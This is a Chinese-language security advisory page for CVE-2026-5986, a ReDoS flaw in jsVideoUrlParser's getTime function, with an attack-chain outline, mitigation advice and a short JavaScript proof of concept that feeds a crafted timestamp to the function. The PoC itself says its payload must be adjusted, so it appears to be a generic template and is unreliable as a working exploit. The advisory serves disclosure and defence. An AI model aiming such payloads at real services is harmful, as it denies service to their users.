IPBUF安全漏洞报告
English
CVE-2026-5986 CVSS 5.3 中危

CVE-2026-5986 Zod jsVideoUrlParser正则拒绝服务漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5986
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Zod jsVideoUrlParser

相关标签

ReDoS拒绝服务Zod jsVideoUrlParserCVE-2026-5986正则表达式

漏洞概述

Zod jsVideoUrlParser 0.5.1及之前版本存在安全漏洞,该漏洞位于lib/util.js文件的getTime函数中。由于对timestamp参数的处理存在低效的正则表达式复杂度问题,攻击者无需认证即可远程发起攻击。利用该漏洞可能导致服务器资源耗尽,造成拒绝服务。目前公开利用代码已存在,厂商尚未发布修复补丁。

技术细节

该漏洞的根本原因是正则表达式拒绝服务。在jsVideoUrlParser库的getTime函数中,用于解析时间戳的正则表达式设计存在缺陷,容易受到灾难性回溯的影响。当攻击者传入精心构造的特定字符串(如包含大量重复字符或特殊结构的字符串)作为timestamp参数时,正则表达式引擎在尝试匹配过程中会进行大量的回溯计算。这种计算会消耗极高的CPU资源,导致处理该请求的线程被长时间占用,进而使Web服务响应缓慢甚至崩溃,造成系统可用性丧失。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了Zod jsVideoUrlParser库,且版本在0.5.1及以下。
STEP 2
构造载荷
攻击者构造一个能够引发正则表达式回溯的恶意字符串作为timestamp参数。
STEP 3
发起攻击
攻击者向目标服务器发送包含恶意timestamp参数的HTTP请求。
STEP 4
资源耗尽
服务器处理请求时,getTime函数中的正则表达式匹配导致CPU占用率飙升,耗尽系统资源。
STEP 5
拒绝服务
由于资源耗尽,服务器无法响应正常用户的请求,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Proof of Concept for CVE-2026-5986 // This script demonstrates how a malicious timestamp can trigger ReDoS. const { getTime } = require('jsVideoUrlParser/lib/util.js'); // Malicious payload designed to trigger catastrophic backtracking // Adjust the payload based on the specific regex pattern in getTime const maliciousTimestamp = '2023-01-01T12:00:00.' + 'a'.repeat(20) + '!'; console.log('Sending malicious request...'); try { const startTime = Date.now(); // Trigger the vulnerable function const result = getTime(maliciousTimestamp); const endTime = Date.now(); console.log(`Result: ${result}`); console.log(`Time taken: ${endTime - startTime}ms`); } catch (e) { console.error('Error:', e); }

影响范围

Zod jsVideoUrlParser <= 0.5.1

防御指南

临时缓解措施
由于官方尚未发布修复版本,建议开发者暂时修改lib/util.js源代码,优化getTime函数中的正则表达式,消除回溯风险。或者在应用层面对时间戳参数进行严格的白名单验证,确保输入格式符合预期,避免将未经处理的用户输入直接传入该函数。同时,限制服务器单个请求的超时时间,以降低DoS的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表